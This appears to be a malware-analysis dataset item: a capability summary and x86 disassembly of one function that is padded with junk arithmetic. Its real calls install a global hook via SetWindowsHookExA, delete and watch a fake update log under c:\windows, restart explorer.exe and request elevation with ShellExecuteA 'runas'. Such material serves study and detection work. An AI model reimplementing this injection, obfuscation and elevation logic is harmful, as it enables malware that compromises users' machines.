Function at 0x4111b0
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1074
call fcn.0042f460
mov eax, dword [0x45d320]
mov ecx, dword [0x45b9b4]
mov dword [esp + 0x1070], eax
push ebx
mov eax, 0x92ea28a3
imul ecx
add edx, ecx
push esi
mov esi, dword [0x45b9ac]
sar edx, 0x12
push edi
mov edi, dword [0x45b9c8]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, edi
imul ebx, ebx, 0xde7fc
sub ebx, eax
mov eax, 0x6352a551
imul esi
sar edx, 0x12
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x6352a551
imul ecx
sar edx, 0x12
mov ecx, edx
add ebx, edx
shr ecx, 0x1f
add ecx, ebx
mov ebx, dword [0x45b9c0]
mov edx, ebx
imul edx, edx, 0x6a5ba
add ecx, edx
mov eax, 0x9dbc161
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
cmp dword [ebp + 8], 0x132b600
mov dword [esp + 0x1c], 0
mov dword [str._r_____r____], ecx
je 0x411305
mov esi, dword [0x45b9bc]
imul ecx, ecx, 0x6f854
mov eax, 0x92ea28a3
imul esi
add edx, esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, edi
imul edx, edx, 0x6f3fe
add ecx, edx
mov edx, dword [0x45b9b0]
mov eax, 0x10779897
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x6352a551
imul edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
sar edx, 0x12
add ecx, edx
mov eax, edx
mov edx, dword [0x45b9c4]
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x45b9a8]
imul ecx, ecx, 0xc0c12
add eax, ecx
sub eax, edx
sub eax, 0x53d95
mov dword [0x45b9b0], eax
mov esi, 0x64
push 0x3e8
call edi
dec esi
jne 0x4112e6
xor eax, eax
mov ecx, dword [esp + 0x107c]
call fcn.0042ec21
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [0x45b9b0]
imul ebx, ebx, 0x85399
mov eax, edi
imul eax, eax, 0x6f3fe
mov dword [esp + 0x18], eax
mov eax, 0x92ea28a3
imul esi
add edx, esi
mov esi, dword [0x45b9b8]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, ebx
mov ebx, eax
mov eax, 0x6352a551
imul esi
sar edx, 0x12
add ebx, edx
mov eax, edx
mov edx, dword [0x45b9bc]
imul edx, edx, 0x53d95
shr eax, 0x1f
add eax, ebx
mov ebx, dword [0x45b9b0]
add eax, edx
imul ebx, ebx, 0x67dee
mov dword [esp + 0x14], eax
mov eax, 0x2a7feb
imul dword [0x45b9ac]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x14]
sub edx, eax
add edx, dword [esp + 0x18]
mov eax, dword [section.dsfdadfs]
add ebx, edx
test eax, eax
mov dword [0x45b9bc], ebx
je 0x411434
mov ecx, dword [0x45b9b0]
mov eax, 0xf5f5c9f5
imul ecx
add edx, ecx
mov ecx, dword [0x45b9a8]
sar edx, 0x13
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x6352a551
imul ecx
imul ecx, ecx, 0x53d95
sar edx, 0x12
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45b9c4]
mov eax, 0x61b317a1
imul esi
sar edx, 0x11
add edi, edx
mov ebx, edx
mov eax, 0x2a7feb
imul esi
mov eax, dword [0x45b9c0]
shr ebx, 0x1f
imul eax, eax, 0x67dee
add ebx, edi
add ebx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
sub ebx, eax
add ebx, dword [esp + 0x18]
mov dword [0x45b9a8], ebx
mov eax, 1
mov ecx, dword [esp + 0x107c]
call fcn.0042ec21
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x93a3ffdd
imul ebx
add edx, ebx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x14], eax
mov eax, 0x6352a551
imul dword [0x45b9c4]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0xa4f50
add eax, edx
mov edx, dword [0x45b9a8]
imul edx, edx, 0x6a5ba
add eax, edx
mov edx, esi
imul edx, edx, 0xc0c12
add eax, edx
sub eax, dword [esp + 0x14]
add eax, dword [esp + 0x18]
mov edx, dword [0x45b9c0]
lea eax, [eax + edx - 0x53d95]
mov dword [0x45b9b4], eax
lea esp, [esp]
mov eax, edi
imul esi, esi, 0x85399
imul eax, eax, 0x6f3fe
mov dword [esp + 0x18], eax
mov eax, 0x10779897
imul dword [0x45b9ac]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x6352a551
imul ebx
imul ebx, ebx, 0x53d95
mov dword [esp + 0x10], esi
mov eax, esi
sar edx, 0x12
mov esi, edx
add eax, edx
shr esi, 0x1f
add esi, eax
mov eax, dword [ebp + 0x10]
sub esi, ebx
mov ebx, dword [0x45b9b4]
mov edx, ebx
imul edx, edx, 0x3110b
sub esi, edx
add esi, dword [esp + 0x18]
test eax, eax
mov dword [0x45b9c0], esi
jg 0x41163b
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x41163b
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x411521
sub eax, dword [esp + 0x10]
mov dword [esp + 0x10], eax
je 0x41163b
mov ebx, dword [0x45b9ac]
imul esi, esi, 0x6a5ba
mov eax, 0x93a3ffdd
imul ebx
add edx, ebx
sar edx, 0x12
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x6352a551
imul edi
sar edx, 0x12
mov edi, edx
add ebx, edx
mov eax, 0x6352a551
imul ecx
sar edx, 0x12
shr edi, 0x1f
mov eax, edx
shr eax, 0x1f
add edi, ebx
add edi, edx
add eax, edi
add eax, esi
sub eax, ecx
mov ecx, dword [ebp + 0x14]
push ecx
add eax, 0x3e2f3
push 0
mov dword [0x45b9ac], eax
call fcn.0040e150
mov edi, eax
add esp, 8
test edi, edi
jle 0x412160
mov ecx, dword [0x45b9c4]
mov esi, dword [0x45b9b8]
mov eax, 0x92ea28a3
imul ecx
add edx, ecx
mov ecx, dword [0x45b9c8]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9a8]
mov ebx, ecx
imul edx, edx, 0x6ef8e
imul ebx, ebx, 0x6f3fe
sub ebx, eax
mov eax, esi
imul eax, eax, 0xa4f50
add ebx, edx
add ebx, eax
mov eax, 0x6352a551
imul esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x6352a551
imul dword [0x45b9b4]
sar edx, 0x12
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x9dbc161
imul esi
mov esi, dword [0x45b9c0]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov dword [0x45b9c4], ebx
mov ebx, dword [0x45b9b4]
jmp 0x41169d
mov edi, dword [0x45b9b0]
mov eax, 0xf5f5c9f5
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, ecx
mov dword [esp + 0x10], eax
mov eax, 0x6352a551
imul edi
imul edi, edi, 0x3a996
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x14]
mov ecx, eax
mov eax, dword [esp + 0x10]
sub ecx, eax
mov eax, dword [0x45b9c4]
imul eax, eax, 0x53d95
sub ecx, eax
mov eax, dword [esp + 0x18]
sub ecx, edi
mov edi, dword [ebp + 0x10]
add ecx, edx
add ecx, eax
mov dword [0x45b9c8], ecx
mov eax, 0x92ea28a3
imul ecx, ecx, 0xde7fc
imul esi, esi, 0x6a5ba
imul ebx
add edx, ebx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x6352a551
imul dword [0x45b9ac]
sar edx, 0x12
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov dword [esp + 0x10], eax
mov eax, 0x6352a551
imul ebx
mov eax, dword [esp + 0x10]
sar edx, 0x12
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, 0x9dbc161
imul dword [0x45b9ac]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add ecx, esi
add eax, edx
sub ecx, eax
push str.c:windowsKB978978.log
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x45b9b0]
mov esi, dword [0x45b9c8]
mov eax, 0xf5f5c9f5
imul esi, esi, 0x6f3fe
imul ecx
add edx, ecx
mov ecx, dword [0x45b9a8]
sar edx, 0x13
add esi, edx
mov ebx, edx
mov eax, 0x6352a551
imul ecx
imul ecx, ecx, 0x53d95
sar edx, 0x12
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x45b9c4]
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov dword [esp + 0x10], eax
mov eax, 0x61b317a1
imul esi
mov eax, dword [esp + 0x10]
sar edx, 0x11
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x2a7feb
imul esi
mov eax, dword [0x56f4cc]
sar edx, 9
add ebx, ecx
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45b9c0]
imul edx, edx, 0x67dee
sub ebx, ecx
sub ebx, edx
mov dword [0x45b9a8], ebx
push edi
mov ecx, dword [ebp + 0xc]
push eax
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push ecx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.dsfdadfs], eax
je 0x4121ef
mov ecx, dword [0x45b9bc]
mov ebx, dword [0x45b9c8]
mov eax, 0x92ea28a3
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, ecx
imul edi, edi, 0x6f854
sub edi, eax
mov edx, ebx
imul edx, edx, 0x6f3fe
add edi, edx
mov edx, dword [0x45b9b0]
mov eax, 0x10779897
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x6352a551
imul ebx
sar edx, 0x12
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
mov edi, dword [0x45b9a8]
mov edx, edi
imul edx, edx, 0xc0c12
add esi, edx
sub esi, dword [0x45b9c4]
sub esi, 0x53d95
mov dword [0x56f4d0], 1
mov dword [esp + 0x18], 0
jmp 0x411880
mov ecx, dword [str._r_____r____]
mov ebx, dword [0x45b9c8]
mov esi, dword [0x45b9b0]
mov edi, dword [0x45b9a8]
lea ebx, [ebx]
mov eax, 0x92ea28a3
imul ecx, ecx, 0x6f854
imul edi, edi, 0xc0c12
imul dword [0x45b9bc]
add edx, dword [0x45b9bc]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, ebx
imul edx, edx, 0x6f3fe
add ecx, edx
mov eax, 0x10779897
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x6352a551
imul ebx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
add eax, edi
sub eax, dword [0x45b9c4]
sub eax, 0x53d95
push str.c:windowsKB978978.log
mov dword [0x45b9b0], eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x411917
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x18]
inc eax
cmp eax, 0x12c
mov dword [esp + 0x18], eax
jl 0x411862
mov ecx, dword [0x45b9c8]
mov eax, 0x24d17191
imul ecx
mov ebx, dword [0x45b9c0]
sar edx, 0x10
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45b9ac]
imul edx, edx, 0x6ef8e
add edi, edx
mov eax, 0x6352a551
imul ebx
sar edx, 0x12
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
mov edi, dword [0x45b9b4]
mov eax, 0x6352a551
imul edi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x1b669
sub esi, eax
add esi, edx
mov eax, 0x2682f007
imul ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
cmp dword [esp + 0x18], 0x12c
mov dword [0x45b9b8], esi
jl 0x412269
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x412269
mov edi, dword [0x45b9b0]
imul ecx, ecx, 0x6f3fe
imul ebx, ebx, 0x85399
mov eax, 0x92ea28a3
imul edi
add edx, edi
imul edi, edi, 0x67dee
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, ecx
add eax, ebx
mov dword [esp + 0x10], eax
mov eax, 0x6352a551
imul esi
mov eax, dword [esp + 0x10]
sar edx, 0x12
add eax, edx
mov ecx, edx
mov edx, dword [0x45b9bc]
imul edx, edx, 0x53d95
shr ecx, 0x1f
add ecx, eax
add ecx, edx
mov eax, 0x2a7feb
imul dword [0x45b9ac]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, edi
mov dword [0x45b9bc], ecx
push 0x800
lea ecx, [esp + 0x7c]
push ecx
mov dword [esp + 0x24], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x45b9ac]
mov esi, dword [0x45b9c8]
mov eax, 0x10779897
imul esi, esi, 0x6f3fe
imul ecx
mov ecx, dword [0x45b9b8]
imul ecx, ecx, 0x85399
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x45b9bc]
mov eax, 0x6352a551
imul ecx
imul ecx, ecx, 0x53d95
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
sub eax, ecx
mov ecx, dword [0x45b9b4]
imul ecx, ecx, 0x3110b
sub eax, ecx
lea edx, [esp + 0x78]
push edx
mov dword [0x45b9c0], eax
lea eax, [esp + 0x87c]
push str._sexplorer.exe
push eax
call fcn.0042edf1
lea ecx, [esp + 0x884]
push 0
push ecx
call fcn.0042f18d
add esp, 0x14
cmp eax, 0xffffffff
je 0x4120c8
mov ecx, dword [0x45b9c4]
mov esi, dword [0x45b9c8]
mov eax, 0x92ea28a3
imul esi, esi, 0x6f3fe
imul ecx
add edx, ecx
mov ecx, dword [0x45b9a8]
sar edx, 0x12
imul ecx, ecx, 0x6ef8e
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x45b9b8]
mov edx, ecx
imul edx, edx, 0xa4f50
add esi, edx
mov eax, 0x6352a551
imul ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9b4]
sub esi, eax
mov eax, 0x6352a551
imul edx
sar edx, 0x12
mov edi, edx
add esi, edx
mov eax, 0x9dbc161
imul ecx
sar edx, 0xe
mov ecx, edx
shr edi, 0x1f
shr ecx, 0x1f
add ecx, edx
add edi, esi
sub edi, ecx
push str.explorer.exe
mov dword [0x45b9c4], edi
call fcn.00405e20
mov ecx, dword [0x45b9bc]
mov esi, dword [0x45b9c8]
mov eax, 0x93a3ffdd
imul esi, esi, 0x6f3fe
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x12
add esi, edx
mov edi, edx
mov eax, 0xf5f5c9f5
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add eax, edx
add edi, esi
mov esi, dword [0x45b9b0]
sub edi, eax
mov eax, 0x6352a551
imul esi
imul esi, esi, 0x3a996
sar edx, 0x12
add edi, edx
mov ecx, edx
mov edx, dword [0x45b9c4]
imul edx, edx, 0x53d95
shr ecx, 0x1f
add ecx, edi
sub ecx, edx
add esp, 4
sub ecx, esi
mov dword [0x45b9c8], ecx
mov dword [esp + 0x14], 5
jmp 0x411bf1
mov ecx, dword [0x45b9c8]
mov esi, dword [0x45b9b4]
imul ecx, ecx, 0xde7fc
mov edi, dword [0x45b9ac]
mov eax, 0x92ea28a3
imul esi
add edx, esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x6352a551
imul edi
sar edx, 0x12
add ecx, edx
mov ebx, edx
mov eax, 0x6352a551
imul esi
sar edx, 0x12
shr ebx, 0x1f
add ebx, ecx
mov ecx, edx
add ebx, edx
mov edx, dword [0x45b9c0]
imul edx, edx, 0x6a5ba
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
mov eax, 0x9dbc161
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
push str.explorer.exe
mov dword [str._r_____r____], ecx
call fcn.00405820
add esp, 4
test eax, eax
jg 0x41202c
mov ecx, dword [0x45b9b0]
mov eax, 0xf5f5c9f5
imul ecx
add edx, ecx
mov ecx, dword [0x45b9a8]
sar edx, 0x13
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x6352a551
imul ecx
imul ecx, ecx, 0x53d95
sar edx, 0x12
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov dword [esp + 0x10], eax
mov eax, 0x61b317a1
imul dword [0x45b9c4]
mov eax, dword [esp + 0x10]
sar edx, 0x11
add eax, edx
mov esi, edx
mov ebx, dword [0x45b9c8]
shr esi, 0x1f
add esi, eax
mov eax, 0x2a7feb
imul dword [0x45b9c4]
sar edx, 9
add esi, ecx
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45b9c0]
mov edi, ebx
imul edx, edx, 0x67dee
imul edi, edi, 0x6f3fe
xor eax, eax
sub esi, ecx
sub esi, edx
add esi, edi
mov dword [esp + 0x18], edi
mov ecx, 0x11
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45b9ac]
mov eax, 0x6352a551
imul ebx
sar edx, 0x12
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x93a3ffdd
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x12
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x6352a551
imul ecx
sar edx, 0x12
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, dword [0x45b9c0]
imul eax, eax, 0x6a5ba
add ebx, eax
sub ebx, ecx
lea eax, [ebx + edi + 0x3e2f3]
mov ebx, dword [0x45b9bc]
mov dword [0x45b9a8], esi
mov dword [esp + 0x20], 0x44
mov dword [0x45b9ac], eax
mov dword [esp + 0x4c], 1
mov word [esp + 0x50], 5
mov eax, 0x92ea28a3
imul ecx, ecx, 0x6f854
imul esi, esi, 0xc0c12
imul ebx
add edx, ebx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x10779897
imul dword [0x45b9b0]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9c4]
sub ecx, eax
add ecx, esi
sub ecx, edx
mov edx, dword [esp + 0x18]
add ecx, edi
lea eax, [ecx + edx - 0x53d95]
lea ecx, [esp + 0x68]
push ecx
lea edx, [esp + 0x24]
push edx
mov dword [0x45b9b0], eax
lea eax, [esp + 0x80]
push eax
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [esp + 0x898]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov ecx, dword [0x45b9c8]
je 0x411ea7
mov esi, dword [0x45b9bc]
mov eax, 0x93a3ffdd
imul esi
add edx, esi
sar edx, 0x12
mov eax, edx
mov edi, ecx
imul edi, edi, 0x6f3fe
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x6352a551
imul dword [0x45b9c4]
sar edx, 0x12
add edi, edx
mov esi, dword [0x45b9c0]
mov eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0xa4f50
shr eax, 0x1f
add eax, edi
add eax, edx
mov edx, dword [0x45b9a8]
imul edx, edx, 0x6a5ba
add edx, esi
mov esi, dword [0x45b9b8]
mov edi, esi
imul edi, edi, 0xc0c12
add edx, eax
lea eax, [edi + edx - 0x53d95]
mov dword [0x45b9b4], eax
jmp 0x412038
mov eax, 0x24d17191
imul ecx
sar edx, 0x10
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45b9ac]
imul edx, edx, 0x6ef8e
add esi, edx
mov edx, dword [0x45b9c0]
mov eax, 0x6352a551
imul edx
sar edx, 0x12
mov edi, edx
add esi, edx
mov edx, dword [0x45b9b4]
mov eax, 0x6352a551
imul edx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x1b669
shr edi, 0x1f
add edi, esi
sub edi, eax
add edi, edx
mov eax, 0x2682f007
imul ecx
sar edx, 0x10
push 1
mov eax, edx
lea ecx, [esp + 0x7c]
push ecx
shr eax, 0x1f
add eax, edx
push 0
lea edx, [esp + 0x884]
push edx
push str.runas
sub edi, eax
push 0
mov dword [0x45b9b8], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
mov esi, dword [0x45b9b8]
mov ecx, dword [0x45b9c8]
jg 0x411fcb
mov edi, dword [0x45b9b0]
mov eax, 0x92ea28a3
imul edi
add edx, edi
imul edi, edi, 0x67dee
sar edx, 0x12
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x45b9c0]
imul edx, edx, 0x85399
mov eax, ecx
imul eax, eax, 0x6f3fe
add ebx, eax
add ebx, edx
mov eax, 0x6352a551
imul esi
sar edx, 0x12
add ebx, edx
mov eax, edx
mov edx, dword [0x45b9bc]
imul edx, edx, 0x53d95
shr eax, 0x1f
add eax, ebx
add eax, edx
mov edx, dword [0x45b9ac]
mov ebx, eax
mov eax, 0x2a7feb
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, edi
mov dword [0x45b9bc], ebx
jmp 0x412038
mov edx, dword [0x45b9ac]
mov edi, dword [0x45b9bc]
mov eax, 0x10779897
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, ecx
imul ebx, ebx, 0x6f3fe
mov edx, esi
imul edx, edx, 0x85399
sub ebx, eax
add ebx, edx
mov eax, 0x6352a551
imul edi
imul edi, edi, 0x53d95
sar edx, 0x12
add ebx, edx
mov eax, edx
mov edx, dword [0x45b9b4]
imul edx, edx, 0x3110b
shr eax, 0x1f
add eax, ebx
sub eax, edi
sub eax, edx
mov dword [0x45b9c0], eax
jmp 0x412038
mov ecx, dword [0x45b9c8]
mov esi, dword [0x45b9b8]
mov edi, dword [0x45b9c4]
imul ecx, ecx, 0x6f3fe
mov eax, 0x92ea28a3
imul edi
add edx, edi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x45b9a8]
imul eax, eax, 0x6ef8e
add ecx, eax
mov edx, esi
imul edx, edx, 0xa4f50
add ecx, edx
mov eax, 0x6352a551
imul esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x6352a551
imul dword [0x45b9b4]
sar edx, 0x12
add ecx, edx
mov edi, edx
mov eax, 0x9dbc161
imul esi
shr edi, 0x1f
add edi, ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
push 0x3e8
mov dword [0x45b9c4], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x14]
jne 0x411beb
mov ebx, dword [0x45b9bc]
mov ecx, dword [str._r_____r____]
mov eax, 0x93a3ffdd
imul ebx
mov eax, dword [0x45b9c8]
imul eax, eax, 0x6f3fe
add edx, ebx
sar edx, 0x12
mov dword [esp + 0x10], eax
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0xf5f5c9f5
imul ecx
add edx, ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
sub edx, eax
mov dword [esp + 0x10], edx
mov eax, 0x6352a551
imul dword [0x45b9b0]
mov eax, dword [esp + 0x10]
sar edx, 0x12
add eax, edx
mov edi, edx
mov edx, dword [0x45b9c4]
shr edi, 0x1f
imul edx, edx, 0x53d95
add edi, eax
mov eax, dword [0x45b9b0]
imul eax, eax, 0x3a996
sub edi, edx
sub edi, eax
add edi, esi
mov dword [esp + 0x14], esi
mov esi, dword [0x45b9b8]
mov dword [0x45b9c8], edi
jmp 0x4114a0
mov ecx, dword [0x45b9c8]
mov eax, 0x24d17191
imul ecx
sar edx, 0x10
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45b9ac]
imul edx, edx, 0x6ef8e
add esi, edx
mov edx, dword [0x45b9c0]
mov eax, 0x6352a551
imul edx
sar edx, 0x12
add esi, edx
mov edi, edx
mov edx, dword [0x45b9b4]
mov eax, 0x6352a551
imul edx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x1b669
shr edi, 0x1f
add edi, esi
sub edi, eax
add edi, edx
mov eax, 0x2682f007
imul ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov dword [0x45b9b8], edi
xor eax, eax
mov ecx, dword [esp + 0x107c]
call fcn.0042ec21
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x45b9ac]
mov eax, 0x93a3ffdd
imul ecx
add edx, ecx
mov ecx, dword [0x45b9c8]
sar edx, 0x12
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x6352a551
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x12
add esi, edx
mov edi, edx
mov eax, 0x6352a551
imul ecx
shr edi, 0x1f
sar edx, 0x12
add edi, esi
add edi, edx
mov eax, edx
mov edx, dword [0x45b9c0]
imul edx, edx, 0x6a5ba
shr eax, 0x1f
add eax, edi
add eax, edx
sub eax, ecx
add eax, 0x3e2f3
mov dword [0x45b9ac], eax
xor eax, eax
mov ecx, dword [esp + 0x107c]
call fcn.0042ec21
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [0x45b9ac]
imul ecx, ecx, 0xde7fc
imul ebx, ebx, 0x6a5ba
mov eax, 0x92ea28a3
imul edi
add edx, edi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x6352a551
imul esi
sar edx, 0x12
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov dword [esp + 0x10], eax
mov eax, 0x6352a551
imul edi
mov eax, dword [esp + 0x10]
sar edx, 0x12
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, 0x9dbc161
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add ecx, ebx
add eax, edx
sub ecx, eax
mov dword [str._r_____r____], ecx
mov ecx, dword [esp + 0x107c]
mov eax, 1
call fcn.0042ec21
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret